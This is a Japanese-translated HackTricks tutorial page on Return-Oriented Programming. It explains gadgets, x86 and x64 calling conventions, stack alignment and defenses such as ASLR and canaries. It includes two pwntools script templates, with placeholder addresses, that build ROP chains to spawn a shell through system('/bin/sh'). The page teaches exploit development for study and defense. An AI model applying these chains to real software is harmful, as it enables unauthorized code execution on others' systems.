hacktricks/binary-exploitation/rop-return-oriented-programing
2024-04-10 15:35:22 +00:00
..
ret2lib Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ 2024-04-07 23:02:38 +00:00
README.md Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h 2024-04-10 15:35:22 +00:00
ret2csu.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00
ret2dlresolve.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00
ret2esp-ret2reg.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00
ret2vdso.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00
rop-syscall-execv.md Translated ['README.md', 'binary-exploitation/common-binary-protections- 2024-04-09 00:25:06 +00:00
srop-sigreturn-oriented-programming.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00

ROP - Return Oriented Programing

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

基本情報

**Return-Oriented Programming (ROP)**は、**No-Execute (NX)Data Execution Prevention (DEP)などのセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。シェルコードを注入して実行する代わりに、攻撃者はバイナリやロードされたライブラリに既に存在するコード片("ガジェット"**と呼ばれる)を利用します。各ガジェットは通常、ret命令で終わり、データをレジスタ間で移動したり算術演算を行ったりするなどの小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護をバイパスできます。

ROPの動作

  1. 制御フローのハイジャック:まず、攻撃者は通常、バッファオーバーフローを悪用してプログラムの制御フローをハイジャックする必要があります。これは、スタック上の保存されたリターンアドレスを上書きすることによって行われます。
  2. ガジェットの連鎖:次に、攻撃者は注意深くガジェットを選択して連鎖させ、必要なアクションを実行します。これには、関数呼び出しの引数を設定したり、関数を呼び出したり(例:system("/bin/sh"))、必要なクリーンアップや追加の操作を処理したりすることが含まれる可能性があります。
  3. ペイロードの実行:脆弱な関数が返されると、合法的な場所に戻る代わりに、ガジェットの連鎖を実行し始めます。

ツール

通常、ガジェットはROPgadgetropper、またはpwntoolsROP)から直接見つけることができます。

x86のROPチェーンの例

x8632ビット呼び出し規約

  • cdecl:呼び出し元がスタックをクリーンアップします。関数引数はスタックに逆順でプッシュされます(右から左へ)。引数は右から左にスタックにプッシュされます。
  • stdcallcdeclに似ていますが、スタックのクリーンアップは呼び出し先が行います。

ガジェットの検索

まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定しましょう。興味を持つガジェットは次のとおりです:

  • pop eax; ret:このガジェットはスタックのトップの値をEAXレジスタにポップしてから戻り、EAXを制御できるようにします。
  • pop ebx; ret:上記と同様ですが、EBXレジスタ用であり、EBXを制御できるようにします。
  • mov [ebx], eax; retEAXの値をEBXが指すメモリ位置に移動してから戻ります。これは通常、write-what-whereガジェットと呼ばれます。
  • さらに、system()関数のアドレスが利用可能です。

ROPチェーン

pwntoolsを使用して、次のようにROPチェーンの実行のためにスタックを準備します。system('/bin/sh')を実行することを目指しています。チェーンが次のように始まることに注目してください:

  1. アライメント目的のret命令(オプション)
  2. system関数のアドレスASLRが無効で既知のlibcを仮定して、詳細はRet2libを参照)
  3. system()からの戻りアドレスのプレースホルダ
  4. "/bin/sh"文字列アドレスsystem関数のパラメータ
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

x64でのROPチェーンの例

x6464ビット呼び出し規約

  • Unix系システムでは、最初の6つの整数またはポインタ引数はレジスタ RDIRSIRDXRCXR8、および R9 に渡されます。追加の引数はスタックに渡されます。戻り値は RAX に配置されます。
  • Windows x64 呼び出し規約では、最初の4つの整数またはポインタ引数には RCXRDXR8、および R9 が使用され、追加の引数はスタックに渡されます。戻り値は RAX に配置されます。
  • レジスタ: 64ビットレジスタには RAXRBXRCXRDXRSIRDIRBPRSP、および R8 から R15 が含まれます。

ガジェットの検索

今回は、RDI レジスタを設定し(system()"/bin/sh" 文字列を引数として渡すため)、その後 system() 関数を呼び出すためのガジェットに焦点を当てましょう。以下のガジェットを特定したと仮定します:

  • pop rdi; ret: スタックのトップの値を RDI にポップしてから戻ります。system() の引数を設定するために必要です。
  • ret: 単純なリターンで、一部のシナリオでスタックの整列に役立ちます。

そして、system() 関数のアドレスを知っているとします。

ROPチェーン

以下は、pwntools を使用して x64system('/bin/sh') を実行するためのROPチェーンを設定して実行する例です:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

スタックアライメント

x86-64 ABI は、call命令が実行される際にスタックが16バイトに整列されることを保証します。LIBC は、パフォーマンスを最適化するためにSSE命令(例: movaps)を使用し、この整列が必要です。スタックが適切に整列されていない場合(つまりRSPが16の倍数でない場合systemのような関数の呼び出しはROPチェーンで失敗します。これを修正するには、ROPチェーン内でsystemを呼び出す前にretガジェットを追加するだけです。

x86とx64の主な違い

{% hint style="success" %} x64は最初の数値引数にレジスタを使用するため、単純な関数呼び出しにはx86よりも少ないガジェットが必要ですが、適切なガジェットを見つけてチェーンすることは、レジスタの数の増加とアドレス空間の拡大により、より複雑になる可能性があります。x64アーキテクチャの増加したレジスタ数と大きなアドレス空間は、特にReturn-Oriented ProgrammingROPの文脈において、エクスプロイト開発にとって機会と課題を提供します。 {% endhint %}

ARM64のROPチェーンの例

ARM64の基礎と呼び出し規約

この情報については、次のページをチェックしてください:

{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

ROPに対する保護

  • ASLR & PIE: これらの保護は、ガジェットのアドレスが実行ごとに変化するため、ROPの使用を困難にします。
  • スタックキャナリー: BOFの場合、ROPチェーンを悪用するためには、スタックキャナリーをバイパスしてリターンポインタを上書きする必要があります。
  • ガジェットの不足: 十分なガジェットがない場合、ROPチェーンを生成することはできません。

ROPベースのテクニック

ROPは任意のコードを実行するためのテクニックに過ぎないことに注意してください。ROPを基に、多くのRet2XXXテクニックが開発されました:

  • Ret2lib: ROPを使用して、ロードされたライブラリから任意のパラメータ通常はsystem('/bin/sh')のようなもの)を持つ任意の関数を呼び出します。

{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}

  • Ret2Syscall: ROPを使用して、execveなどのシステムコールを準備し、任意のコマンドを実行します。

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

  • EBP2Ret & EBP Chaining: 最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目のものはRet2libに似ていますが、この場合、フローは主にEBPアドレスで制御されますただし、EIPの制御も必要です

{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}

その他の例と参考文献